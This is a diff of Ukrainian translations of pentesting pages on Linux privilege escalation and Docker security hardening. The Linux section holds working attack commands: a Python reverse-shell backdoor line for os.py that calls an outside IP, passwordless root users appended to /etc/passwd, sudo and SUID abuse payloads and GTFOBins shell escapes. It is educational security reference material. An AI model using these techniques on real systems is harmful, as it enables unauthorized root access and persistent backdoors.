Приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf` надається, детально описуючи дозволи для користувача root на володіння, відправку та отримання повідомлень від `fi.w1.wpa_supplicant1`.
@ -614,14 +614,14 @@ lsof -i
```
### Відкриті порти
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти до доступу до неї:
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти до її доступу:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
Перевірте, чи можете ви перехопити трафік. Якщо так, ви зможете отримати деякі облікові дані.
Перевірте, чи можете ви перехоплювати трафік. Якщо так, ви зможете отримати деякі облікові дані.
```
timeout 1 tcpdump
```
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\
Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Використайте**: **`systemd-run -t /bin/bash`**
### Groups
@ -690,7 +690,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
Якщо вам не шкода створювати багато шуму і бінарники `su` та `timeout` присутні на комп'ютері, ви можете спробувати брутфорсити користувача, використовуючи [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається брутфорсити користувачів.
## Зловживання записуваними PATH
## Зловживання записуваними шляхами
### $PATH
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Команда Sudo/SUID бінарний файл без шляху до команди
Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH.
Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете це використати, змінивши змінну PATH.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -787,11 +787,11 @@ export -f /usr/sbin/service
- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_).
- Для виконуваних файлів з suid/sgid попередньо завантажуються лише бібліотеки в стандартних шляхах, які також є suid/sgid.
Ескалація привілеїв може статися, якщо у вас є можливість виконувати команди з `sudo`, і вихід `sudo -l` містить твердження **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися та бути визнаною навіть коли команди виконуються з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.
Ескалація привілеїв може статися, якщо у вас є можливість виконувати команди з `sudo`, і вихід `sudo -l` включає заяву **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися та бути визнаною навіть коли команди виконуються з `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями.
```
Defaults env_keep += LD_PRELOAD
```
Зберегти як **/tmp/pe.c**
Збережіть як **/tmp/pe.c**
```c
#include <stdio.h>
#include <sys/types.h>
@ -840,7 +840,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Немає такого файлу або каталогу)"_ вказує на потенціал для експлуатації.
Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
Щоб це експлуатувати, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
```c
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Тепер, коли ми знайшли SUID бінарний файл, що завантажує бібліотеку з папки, в якій ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою:
Тепер, коли ми знайшли SUID бінарний файл, що завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -892,18 +892,22 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) - це кураторський список Unix бінарників, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) - це те ж саме, але для випадків, коли ви можете **тільки інжектувати аргументи** в команду.
[**GTFOBins**](https://gtfobins.github.io) - це кураторський список Unix-бінарників, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) - це те ж саме, але для випадків, коли ви можете **тільки інжектувати аргументи** в команду.
Проект збирає легітимні функції Unix бінарників, які можуть бути зловживані для виходу з обмежених оболонок, ескалації або підтримки підвищених привілеїв, передачі файлів, створення bind і reverse shells, а також полегшення інших завдань після експлуатації.
Проект збирає легітимні функції Unix-бінарників, які можуть бути зловживані для виходу з обмежених оболонок, ескалації або підтримки підвищених привілеїв, передачі файлів, створення bind і reverse shells, а також полегшення інших завдань після експлуатації.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -924,7 +928,7 @@ system("/bin/bash -p");
Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **Перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root оболонку, виконайте `sudo su`):
- **перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root shell, виконайте `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -935,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними та дозволяє всім користувачам використовувати sudo.
- Третій експлойт (`exploit_v3.sh`) створить файл sudoers, який робить токени sudo вічними і дозволяє всім користувачам використовувати sudo.
```bash
bash exploit_v3.sh
sudo su
@ -1060,7 +1064,7 @@ linux-capabilities.md
Списки контролю доступу (ACLs) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Надайте** користувачу "kali" права на читання та запис над файлом:
**Надайте** користувачу "kali" дозволи на читання та запис для файлу:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@ -1091,9 +1095,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
## tmux сесії хакінгу
## tmux сесії захоплення
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, будучи неправавленим користувачем.
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, будучи непривабленим користувачем.
**Список сесій tmux**
```bash
@ -1139,7 +1143,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### AuthorizedKeysFile
Вказує файли, які містять публічні ключі, що можуть бути використані для аутентифікації користувача. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказати абсолютні шляхи** (починаючи з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад:
Вказує файли, які містять публічні ключі, що можуть бути використані для аутентифікації користувачів. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказати абсолютні шляхи** (починаючи з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1157,7 +1161,7 @@ ForwardAgent yes
Зверніть увагу, що якщо `Host` дорівнює `*`, щоразу, коли користувач переходить на іншу машину, цей хост зможе отримати доступ до ключів (що є проблемою безпеки).
Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\
Файл `/etc/sshd_config` може **дозволити** або **заборонити** пересилання ssh-агента за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням дозволено).
Файл `/etc/sshd_config` може **дозволити** або **заборонити** пересилання ssh-agent за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням дозволено).
Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**:
@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### Файли профілів
Файл `/etc/profile` та файли під
Файл `/etc/profile` та файли під `/etc/profile.d/` є **скриптами, які виконуються, коли користувач запускає нову оболонку**. Тому, якщо ви можете **писати або змінювати будь-який з них, ви можете ескалувати привілеї**.
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1204,13 +1208,13 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Тепер ви можете використовувати команду `su` з `hacker:hacker`
Альтернативно, ви можете використовувати наступні рядки, щоб додати фейкового користувача без пароля.\
Альтернативно, ви можете використовувати наступні рядки, щоб додати фіктивного користувача без пароля.\
ПОПЕРЕДЖЕННЯ: ви можете знизити поточний рівень безпеки машини.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: На платформах BSD `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
ЗАУВАЖЕННЯ: На платформах BSD `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`.
Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **файл конфігурації служби**?
```bash
@ -1315,18 +1319,18 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking
Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записувати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py).
Якщо ви знаєте, **звідки** буде виконуватися python-скрипт і ви **можете записувати** в цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записувати, де буде виконуватися python-скрипт, скопіюйте та вставте бібліотеку os.py).
Щоб **створити бекдор у бібліотеці**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
### Logrotate експлуатація
Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів.
> [!NOTE]
> Ця уразливість впливає на версію `logrotate` `3.18.0` та старіші
> Ця уразливість впливає на `logrotate` версії `3.18.0` та старіші
Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
@ -1340,9 +1344,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** може **відредагувати** існуючий, то ваша **система зламано**.
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно як .INI файли. Однак, вони \~sourced\~ на Linux через Network Manager (dispatcher.d).
Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих з'єднань. Вони виглядають точно як .INI файли. Однак, вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
У моєму випадку, атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється правильно. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1385,7 +1389,7 @@ cisco-vmanage.md
## Більше допомоги
[Статичні бінарні файли impacket](https://github.com/ropnop/impacket_static_binaries)
[Статичні бінарники impacket](https://github.com/ropnop/impacket_static_binaries)
## Інструменти Privesc для Linux/Unix

View File

@ -4,20 +4,20 @@
## **Основна безпека Docker Engine**
**Docker engine** використовує **Namespaces** та **Cgroups** ядра Linux для ізоляції контейнерів, пропонуючи базовий рівень безпеки. Додатковий захист забезпечується через **Capabilities dropping**, **Seccomp** та **SELinux/AppArmor**, що покращує ізоляцію контейнерів. **Auth plugin** може додатково обмежити дії користувачів.
**Docker engine** використовує **Namespaces** та **Cgroups** ядра Linux для ізоляції контейнерів, пропонуючи базовий рівень безпеки. Додаткова захист забезпечується через **Capabilities dropping**, **Seccomp** та **SELinux/AppArmor**, що покращує ізоляцію контейнерів. **Auth plugin** може додатково обмежити дії користувачів.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Безпечний доступ до Docker Engine
Docker engine можна отримати доступ або локально через Unix-сокет, або віддалено за допомогою HTTP. Для віддаленого доступу важливо використовувати HTTPS та **TLS** для забезпечення конфіденційності, цілісності та автентифікації.
До Docker engine можна отримати доступ локально через Unix-сокет або віддалено за допомогою HTTP. Для віддаленого доступу важливо використовувати HTTPS та **TLS** для забезпечення конфіденційності, цілісності та автентифікації.
Docker engine за замовчуванням слухає на Unix-сокеті за адресою `unix:///var/run/docker.sock`. На системах Ubuntu параметри запуску Docker визначені в `/etc/default/docker`. Щоб увімкнути віддалений доступ до Docker API та клієнта, відкрийте демон Docker через HTTP-сокет, додавши наступні налаштування:
Docker engine за замовчуванням слухає на Unix-сокеті за адресою `unix:///var/run/docker.sock`. У системах Ubuntu параметри запуску Docker визначені в `/etc/default/docker`. Щоб увімкнути віддалений доступ до Docker API та клієнта, відкрийте демон Docker через HTTP-сокет, додавши наступні налаштування:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
Однак, не рекомендується відкривати демон Docker через HTTP через проблеми безпеки. Рекомендується захищати з'єднання за допомогою HTTPS. Існує два основних підходи до забезпечення безпеки з'єднання:
Однак, відкриття Docker daemon через HTTP не рекомендується через проблеми безпеки. Рекомендується захищати з'єднання за допомогою HTTPS. Існує два основних підходи до забезпечення безпеки з'єднання:
1. Клієнт перевіряє особу сервера.
2. Як клієнт, так і сервер взаємно аутентифікують особу один одного.
@ -28,9 +28,9 @@ sudo service docker restart
Контейнерні образи можуть зберігатися в приватних або публічних репозиторіях. Docker пропонує кілька варіантів зберігання для контейнерних образів:
- [**Docker Hub**](https://hub.docker.com): Публічний реєстр від Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Проект з відкритим кодом, що дозволяє користувачам хостити свій власний реєстр.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Комерційний реєстр Docker, що пропонує аутентифікацію користувачів на основі ролей та інтеграцію з службами каталогів LDAP.
- [**Docker Hub**](https://hub.docker.com): Публічна реєстраційна служба від Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Проект з відкритим кодом, що дозволяє користувачам хостити власну реєстрацію.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Комерційна реєстрація Docker, що пропонує аутентифікацію користувачів на основі ролей та інтеграцію з службами каталогів LDAP.
### Сканування образів
@ -40,7 +40,7 @@ sudo service docker restart
- **`docker scan`**
Команда **`docker scan`** дозволяє сканувати існуючі образи Docker, використовуючи ім'я або ID образу. Наприклад, виконайте наступну команду, щоб просканувати образ hello-world:
Команда **`docker scan`** дозволяє вам сканувати існуючі образи Docker, використовуючи ім'я або ID образу. Наприклад, виконайте наступну команду, щоб просканувати образ hello-world:
```bash
docker scan hello-world
@ -74,7 +74,7 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
- **Docker Content Trust** використовує проект Notary, заснований на The Update Framework (TUF), для управління підписуванням образів. Для отримання додаткової інформації дивіться [Notary](https://github.com/docker/notary) та [TUF](https://theupdateframework.github.io).
- Щоб активувати довіру до вмісту Docker, встановіть `export DOCKER_CONTENT_TRUST=1`. Ця функція вимкнена за замовчуванням у версії Docker 1.10 і пізніше.
- З цією активованою функцією можна завантажувати лише підписані образи. Перший пуш образу вимагає встановлення паролів для кореневого та тегового ключів, при цьому Docker також підтримує Yubikey для підвищення безпеки. Більше деталей можна знайти [тут](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- З цією активованою функцією можна завантажувати лише підписані образи. Перший пуш образу вимагає встановлення паролів для кореневого та тегових ключів, при цьому Docker також підтримує Yubikey для підвищення безпеки. Більше деталей можна знайти [тут](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Спроба витягти непідписаний образ з активованою довірою до вмісту призводить до помилки "No trust data for latest".
- Для пушів образів після першого Docker запитує пароль для ключа репозиторію, щоб підписати образ.
@ -116,7 +116,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
```
**Seccomp**
Він увімкнений за замовчуванням у Docker. Це допомагає **додатково обмежити syscalls**, які може викликати процес.\
Він увімкнений за замовчуванням у Docker. Це допомагає **додатково обмежити syscalls**, які процес може викликати.\
**Профіль Seccomp за замовчуванням Docker** можна знайти за посиланням [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
@ -166,9 +166,9 @@ cgroups.md
### Можливості
Можливості дозволяють **більш детальний контроль за можливостями, які можуть бути дозволені** для користувача root. Docker використовує функцію можливостей ядра Linux, щоб **обмежити операції, які можуть бути виконані всередині контейнера**, незалежно від типу користувача.
Можливості дозволяють **більш детальний контроль за можливостями, які можуть бути дозволені** для користувача root. Docker використовує функцію можливостей ядра Linux, щоб **обмежити операції, які можуть виконуватися всередині контейнера**, незалежно від типу користувача.
Коли запускається контейнер Docker, **процес скидає чутливі можливості, які процес міг би використовувати для втечі з ізоляції**. Це намагається забезпечити, щоб процес не міг виконувати чутливі дії та втекти:
Коли запускається контейнер Docker, **процес скидає чутливі можливості, які процес міг би використовувати для втечі з ізоляції**. Це намагається забезпечити, що процес не зможе виконувати чутливі дії та втекти:
{{#ref}}
../linux-capabilities.md
@ -176,7 +176,7 @@ cgroups.md
### Seccomp у Docker
Це функція безпеки, яка дозволяє Docker **обмежити системні виклики**, які можуть бути використані всередині контейнера:
Це функція безпеки, яка дозволяє Docker **обмежити системні виклики**, які можуть використовуватися всередині контейнера:
{{#ref}}
seccomp.md
@ -196,7 +196,7 @@ apparmor.md
- **Забезпечення політики**: Він забезпечує виконання політик безпеки, які визначають, які дії може виконувати мітка процесу на інших мітках у системі.
- **Мітки процесів контейнера**: Коли контейнерні движки ініціюють процеси контейнера, їм зазвичай призначається обмежена мітка SELinux, зазвичай `container_t`.
- **Маркування файлів у контейнерах**: Файли всередині контейнера зазвичай маркуються як `container_file_t`.
- **Правила політики**: Політика SELinux в основному забезпечує, щоб процеси з міткою `container_t` могли взаємодіяти (читати, писати, виконувати) лише з файлами, маркованими як `container_file_t`.
- **Правила політики**: Політика SELinux в основному забезпечує, що процеси з міткою `container_t` можуть взаємодіяти (читати, писати, виконувати) лише з файлами, маркованими як `container_file_t`.
Цей механізм забезпечує, що навіть якщо процес у контейнері буде скомпрометований, він обмежений у взаємодії лише з об'єктами, які мають відповідні мітки, значно обмежуючи потенційні збитки від таких компрометацій.
@ -211,7 +211,7 @@ apparmor.md
- **Контекст аутентифікації**: Це включає в себе всебічну інформацію про користувача, таку як хто вони і як вони аутентифікувалися.
- **Контекст команди**: Це містить усі відповідні дані, пов'язані із запитом, що робиться.
Ці контексти допомагають забезпечити, щоб лише законні запити від аутентифікованих користувачів оброблялися, підвищуючи безпеку операцій Docker.
Ці контексти допомагають забезпечити, що лише законні запити від аутентифікованих користувачів обробляються, підвищуючи безпеку операцій Docker.
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -235,7 +235,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
```
## Цікаві прапорці Docker
### --privileged flag
### --privileged прапорець
На наступній сторінці ви можете дізнатися **що означає прапорець `--privileged`**:
@ -247,7 +247,7 @@ docker-privileged.md
#### no-new-privileges
Якщо ви запускаєте контейнер, в якому зловмисник отримує доступ як користувач з низькими привілеями. Якщо у вас є **неправильно налаштований suid бінарний файл**, зловмисник може зловживати ним і **ескалювати привілеї всередині** контейнера. Це може дозволити йому втекти з нього.
Якщо ви запускаєте контейнер, в якому зловмисник зміг отримати доступ як користувач з низькими привілеями. Якщо у вас є **неправильно налаштований suid бінарний файл**, зловмисник може зловживати ним і **ескалувати привілеї всередині** контейнера. Це може дозволити йому втекти з нього.
Запуск контейнера з увімкненою опцією **`no-new-privileges`** дозволить **запобігти такій ескалації привілеїв**.
```
@ -268,7 +268,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
Для отримання додаткових опцій **`--security-opt`** перегляньте: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
Для отримання додаткових **`--security-opt`** параметрів дивіться: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Інші аспекти безпеки
@ -276,9 +276,9 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
Важливо уникати вбудовування секретів безпосередньо в Docker-образи або використання змінних середовища, оскільки ці методи піддають вашу чутливу інформацію ризику для будь-кого, хто має доступ до контейнера через команди, такі як `docker inspect` або `exec`.
**Docker volumes** є більш безпечним варіантом, рекомендованим для доступу до чутливої інформації. Їх можна використовувати як тимчасову файлову систему в пам'яті, зменшуючи ризики, пов'язані з `docker inspect` та веденням журналів. Однак, користувачі з правами root та ті, хто має доступ до `exec` в контейнері, все ще можуть отримати доступ до секретів.
**Docker volumes** є більш безпечним варіантом, рекомендованим для доступу до чутливої інформації. Їх можна використовувати як тимчасову файлову систему в пам'яті, зменшуючи ризики, пов'язані з `docker inspect` та веденням журналів. Однак, користувачі з правами root та ті, хто має доступ до `exec` контейнера, все ще можуть отримати доступ до секретів.
**Docker secrets** пропонують ще більш безпечний метод для обробки чутливої інформації. Для екземплярів, які потребують секретів під час етапу побудови образу, **BuildKit** представляє ефективне рішення з підтримкою секретів під час побудови, що підвищує швидкість побудови та надає додаткові функції.
**Docker secrets** пропонують ще більш безпечний метод для обробки чутливої інформації. Для випадків, які потребують секретів під час етапу побудови образу, **BuildKit** представляє ефективне рішення з підтримкою секретів під час побудови, що підвищує швидкість побудови та надає додаткові функції.
Щоб скористатися BuildKit, його можна активувати трьома способами:
@ -286,11 +286,11 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
2. Додаючи префікс до команд: `DOCKER_BUILDKIT=1 docker build .`
3. Увімкнувши його за замовчуванням у конфігурації Docker: `{ "features": { "buildkit": true } }`, після чого потрібно перезапустити Docker.
BuildKit дозволяє використовувати секрети під час побудови з опцією `--secret`, забезпечуючи, щоб ці секрети не були включені в кеш побудови образу або в фінальний образ, використовуючи команду, таку як:
BuildKit дозволяє використовувати секрети під час побудови з параметром `--secret`, забезпечуючи, щоб ці секрети не були включені в кеш побудови образу або в фінальний образ, використовуючи команду, таку як:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Для секретів, необхідних у запущеному контейнері, **Docker Compose та Kubernetes** пропонують надійні рішення. Docker Compose використовує ключ `secrets` у визначенні служби для вказівки секретних файлів, як показано в прикладі `docker-compose.yml`:
Для секретів, необхідних у запущеному контейнері, **Docker Compose і Kubernetes** пропонують надійні рішення. Docker Compose використовує ключ `secrets` у визначенні служби для вказівки секретних файлів, як показано в прикладі `docker-compose.yml`:
```yaml
version: "3.7"
services:
@ -311,34 +311,38 @@ file: ./my_secret_file.txt
**gVisor** - це ядро програми, написане на Go, яке реалізує значну частину системної поверхні Linux. Воно включає в себе [Open Container Initiative (OCI)](https://www.opencontainers.org) середовище виконання під назвою `runsc`, яке забезпечує **межу ізоляції між додатком і ядром хоста**. Середовище виконання `runsc` інтегрується з Docker і Kubernetes, що спрощує запуск контейнерів у пісочниці.
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** - це спільнота з відкритим кодом, яка працює над створенням безпечного середовища виконання контейнерів з легкими віртуальними машинами, які відчуваються і працюють як контейнери, але забезпечують **сильнішу ізоляцію навантаження за допомогою технології апаратної віртуалізації** як другого рівня захисту.
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### Поради щодо підсумків
### Поради підсумку
- **Не використовуйте прапорець `--privileged` або монтуйте** [**сокет Docker всередині контейнера**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Сокет Docker дозволяє створювати контейнери, тому це простий спосіб отримати повний контроль над хостом, наприклад, запустивши інший контейнер з прапорцем `--privileged`.
- **Не використовуйте прапор `--privileged` або монтуйте** [**Docker сокет всередині контейнера**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker сокет дозволяє створювати контейнери, тому це простий спосіб отримати повний контроль над хостом, наприклад, запустивши інший контейнер з прапором `--privileged`.
- **Не запускайте як root всередині контейнера. Використовуйте** [**іншого користувача**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **і** [**простори імен користувачів**](https://docs.docker.com/engine/security/userns-remap/)**.** Root у контейнері є тим самим, що і на хості, якщо не переназначений за допомогою просторів імен користувачів. Він лише слабо обмежений, в основному, просторами імен Linux, можливостями та cgroups.
- [**Скиньте всі можливості**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) і активуйте лише ті, які потрібні** (`--cap-add=...`). Багато навантажень не потребують жодних можливостей, і їх додавання збільшує обсяг потенційної атаки.
- [**Використовуйте опцію безпеки “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) для запобігання отриманню процесами більшої кількості привілеїв, наприклад, через двійкові файли suid.
- [**Використовуйте опцію безпеки “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) для запобігання отриманню процесами більше привілеїв, наприклад, через двійники suid.
- [**Обмежте ресурси, доступні контейнеру**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Обмеження ресурсів можуть захистити машину від атак відмови в обслуговуванні.
- **Налаштуйте** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(або SELinux)** профілі для обмеження дій і системних викликів, доступних для контейнера, до мінімуму.
- **Використовуйте** [**офіційні образи Docker**](https://docs.docker.com/docker-hub/official_images/) **і вимагайте підписи** або створюйте свої власні на їх основі. Не успадковуйте або не використовуйте [задніми дверима](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) образи. Також зберігайте кореневі ключі, пароль у безпечному місці. Docker має плани керувати ключами за допомогою UCP.
- **Використовуйте** [**офіційні образи docker**](https://docs.docker.com/docker-hub/official_images/) **і вимагайте підписи** або створюйте свої власні на їх основі. Не успадковуйте або не використовуйте [задні двері](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) образи. Також зберігайте кореневі ключі, пароль у безпечному місці. Docker має плани керувати ключами за допомогою UCP.
